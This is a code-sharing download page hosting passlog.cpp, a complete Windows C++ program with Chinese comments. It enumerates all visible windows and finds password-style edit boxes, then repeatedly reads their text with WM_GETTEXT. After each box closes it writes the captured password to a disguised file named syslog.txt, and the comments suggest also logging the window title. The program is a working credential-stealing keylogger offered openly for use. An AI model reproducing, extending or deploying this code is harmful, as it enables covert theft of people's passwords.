⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 passlog.cpp

📁 密码框
💻 CPP
字号:
#include <windows.h>
#include <stdio.h>

VOID CALLBACK CheckProc(HWND,UINT,UINT,DWORD);

const HWND noWindow=(HWND)(0xffffffff);

//我对C++一向不以为然,
//认为设置一个class,然后设一堆“Private:”
//限制自己的使用,纯粹是和自己过不去。
//所以我还是喜欢用C不++的struct。
//不过我也承认把函数封进类中是个好主意。

struct testcnt
{
    HWND text;
    short time;
    char Pass[50];
    testcnt(){text=noWindow;}
};

//这个程序可以同时监控6个密码框。
testcnt mySec[6];

/*
    以下代码用来弄清系统中出现的所有窗体,以便抓密码框。解说如下:
    API:EnumWindows
    EnumWindows(回调过程,参数);
    定义一个回调过程,然后使用EnumWindows,系统就会反复调用你的过程,
传递给你所有的窗口句柄(hwnd)。回调过程的定义是:
    BOOL CALLBACK <过程名>(HWND hwnd,LPARAM lparam);
    使用EnumWindows得到所有句柄后,再用EnumChildWindows获得所有子窗体的
句柄。使用方法和EnumWindows基本相同,不再赘述。
*/

BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM)
{
    long style;
    style=GetWindowLong(hwnd,GWL_STYLE);

    //窗体不可见的话,就不抓了。因为没有密码框是看不见的。
    if((style&WS_VISIBLE )!=WS_VISIBLE )return true;
    //带有ES_PASSWORD属性的有可能是密码框。
    if((style&ES_PASSWORD)!=ES_PASSWORD)return true;

    //找一个空位把密码框句柄保存下来。
    int i=0;

    while((i<5)&&(mySec[i].text!=noWindow))
    {
        if(hwnd==mySec[i].text)return true;
        i++;
    }

    if((mySec[i].text!=noWindow))
        return false;

    mySec[i].text=hwnd;
    mySec[i].time=400;

    return true;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM)
{
    long style;
    style=GetWindowLong(hwnd,GWL_STYLE);
    if((style&WS_VISIBLE)!=WS_VISIBLE)return true;
    EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,0);
    return true;
}

VOID CALLBACK TimerProc(HWND,UINT,UINT,DWORD)
{
    EnumWindows((WNDENUMPROC)EnumWindowsProc,0);
}

VOID CALLBACK CheckProc(HWND,UINT,UINT,DWORD)
{
    for(int i=0;i<6;i++)
    {
        if(mySec[i].text!=noWindow)
        {
            //如果一个“嫌疑密码框”连续存在20秒的话,我认为它不是密码框了。
            mySec[i].time--;
            if(mySec[i].time==0)
            {
                mySec[i].text=noWindow;
                return;
            }

            char noUse[10];
            //也许你上网时有现场填密码的习惯。
            //因此我要等密码框消失后,也就是你填完密码后确定时我才读出。
            if(GetClassName(mySec[i].text,noUse,10)==0)
            {
                mySec[i].text=noWindow;

                if(!mySec[i].Pass[0])return;

                FILE *out;
                if((out=fopen("syslog.txt","a"))==NULL)return;

                //如果你愿意的话,自己修改一下这里,
                //把密码框所在的窗口标题也写进文件里。
                //提示:使用GetWindowText函数。
                fprintf(out,"%s\n",mySec[i].Pass);
                fclose(out);

                mySec[i].Pass[0]=NULL;
            }
            else
            {
                SendMessage(mySec[i].text,WM_GETTEXT,50,(long)(mySec[i].Pass));
            }
        }
    }
}

int PASCAL WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
    //没什么好解说的了。
    SetTimer(0,1,1000,(TIMERPROC)TimerProc);
    SetTimer(0,2,50,(TIMERPROC)CheckProc);

    MSG msg;

    while (GetMessage(&msg,NULL, 0, 0))
    {
        if (!TranslateAcceleratorA(msg.hwnd,NULL, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    KillTimer(0,1);
    KillTimer(0,2);
    return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -